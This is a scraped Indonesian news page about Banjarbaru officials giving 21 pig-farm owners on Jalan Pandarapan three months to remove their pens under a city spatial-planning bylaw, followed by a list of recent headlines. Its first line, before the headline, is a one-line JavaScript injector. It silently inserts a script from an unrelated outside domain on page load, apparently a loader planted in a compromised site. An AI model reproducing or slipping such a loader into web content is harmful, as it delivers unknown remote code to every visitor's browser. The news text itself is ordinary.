(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Diberi Waktu Tiga Bulan, Peternakan Babi di Jalan Pandarapan Harus Dibongkar


KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT 34 RW 5 datang memenuhi panggilan Satuan Polisi Pamong Praja (Satpol PP) Banjarbaru, Senin (13/5/2024) siang.

Mereka terdiri dari pemilik dari kandang peternakan babi yang masih didapati berdiri di Kelurahan Guntung Manggis, Kecamatan Landasan Ulin, Kota Banjarbaru, Kalimantan Selatan (Kalsel).

Kabid Penegakan Produk Hukum Daerah Satpol PP Banjarbaru, Denny Mahendrata menyebutkan, surat undangan ini dilayangkan dengan maksud diskusi antara petugas penegak Perda dengan para peternak.

Salah satunya, pihaknya memberikan penjelasan terkait adanya Peraturan Daerah (PERDA) Kota Banjarbaru Nomor 13 Tahun 2014 tentang Rencana Tata Ruang Wilayah Kota Banjarbaru Tahun 2014-2034

Baca juga: Dua APILL Disiapkan, Atasi Kemacetan di Panglima Batur Banjarbaru

“Dengan Perda ini otomatis kita sudah memiliki kaidah hukum yang sifatnya perintah dan larangan, dimana untuk peternakan di Kota Banjarbaru ini dipersilahkan sepanjang itu ternak sapi, kambing, dan unggas, kemudian untuk ternak babi itu harus memiliki izin khusus dari kepala daerah,” ujar Denny Mahendrata.

Kendati demikian, sambung Denny, peternak babi sempat bersikeras atas keberadaan kandang babi yang sudah ada sejak sekitar tahun 2010 silam.

Baca juga: Rumah di Banjarmasin Ambruk ke Sungai, Penghuni Keluar Lewat Jendela

Kabid Penegakan Produk Hukum Daerah Satpol PP Banjarbaru, Denny Mahendrata. Foto : wanda

Para peternak berdalih sejak berdiri di tahun 2010 itu, mereka sudah mendapatkan izin dari warga sekitar untuk berkegiatan peternakan babi.

“Maka kita jelaskan persoalan menjadi lain ketika ada hukum positif di tempat kita, yakni ada Perda RTRW Kota Banjarbaru tahun 2014-2034. Kalau dulu kenapa diperbolehkan karena memang tidak ada Perda, sekarang kan sudah ada Perda-nya,” jelas dia.

Lebih lanjut dijelaskan Denny, para peternak mengaku keberatan atas batas waktu yang diberikan pemerintah untuk bisa mengosongkan wilayah tersebut dan bersih dari peternakan babi.

Yang mana jika sesuai aturan peternakan babi tersebut sudah harus bersih dalam waktu 14 hari setelah adanya teguran.

Baca juga: 81 Peserta Ikuti Audisi Pemilihan Nanang dan Galuh Kabupaten Banjar

Kendati demikian dengan menimbang masukan Kasatpol PP hingga adanya itikad baik dari peternak babi datang memenuhi undangan kata dia, pihaknya pun memberikan waktu selama tiga bulan untuk para peternak dapat angkat kaki dari wilayah Banjarbaru.

Baca juga: Penyuluhan Kesehatan Satgas TMMD di Desa Sungai Karias

“Namun mereka menginginkan bahwa ada tahapan-tahapan, mereka diberikan kesempatan untuk membeli lahan memindah ternak apakah itu provinsi atau ke kabupaten tetangga untuk mereka diperkenankan melakukan kegiatan, saya pikir itu sangat tidak masuk akal karena sangat lama sekali,” ungkapnya.

Setelah berkonsultasi, parea peternak babi diberikan waktu tiga bulan. “Paling lama 14 Agustus sudah kosong semuanya,” tegas dia.

Mengingat persoalan ini katanya sudah menimbulkan laporan gangguan dan keluhan dari warga, ditambah dengan lokasi ternak yang berdampingan dengan kampus Universitas Islam Negeri (UIN) Antasari Banjarmasin di Banjarbaru, maka pihaknya harus menindaklanjuti dengan cepat.

Baca juga: Upacara Ritual Adat Mamapas Lewu di Desa Penda Ketapi

“Mereka tentu saja melaporkan ke Wali Kota ini karena mengetahui ada Perda maka kita harus menindaklanjuti dengan sesegera mungkin. Tapi kami tidak semata-mata menerapkan SOP yang ada, kami masih ingin mengedepankan sisi kemanusiaan, yang harus mereka lakukan adalah berbenah dari lokasi lama ke lokasi baru,” tuntasnya.

Melihat kondisi di lapangan nantinya, Denny berharap para peternak bisa menindaklanjuti juga hasil dari diskusi hari ini, apakah dengan mengurangi jumlah ternak babi atau melakukan pembongkaran mandiri. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

Uji Tanding 7 Cabor Bapor Korpri HSU Vs Bapor Korpri Paser

KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More

2 jam ago

Juara di Singapore Open Dance Championship 2024, Frem Harumkan Nama Indonesia

KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More

3 jam ago

Akhir Masa Tugas, Pjs Wali Kota Nurliani Membuka Acara Kesehatan

KANALKALIMANTAN.COM, BANJARBARU - Di akhir masa tugas yang diemban, Penjabat Sementara (Pjs) Wali Kota Banjarbaru… Read More

5 jam ago

Kembali Tak Datang, KPK Sebut Peluang Jemput Paksa Paman Birin

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyinggung peluang menjemput paksa mantan Gubernur Kalimantan Selatan… Read More

6 jam ago

Pemegang Kursi DPRD Banjarbaru Terima Bantuan Keuangan Parpol, Satu Suara Dihargai Rp14 Ribu

KANALKALIMANTAN.COM, BANJARBARU - Sembilan partai politik (Parpol) pemegang kursi Dewan Perwakilan Rakyat Daerah (DPRD) Kota… Read More

7 jam ago

Diserang Secara Personal, H Saidi Mansyur Tunjukkan Kedewasaan pada Debat Publik Kedua Cabup Banjar

KANALKALIMANTAN.COM, BANJARBARU - Pasangan Calon Bupati dan Calon Wakil Bupati Banjar nomor urut 01, H… Read More

17 jam ago

This website uses cookies.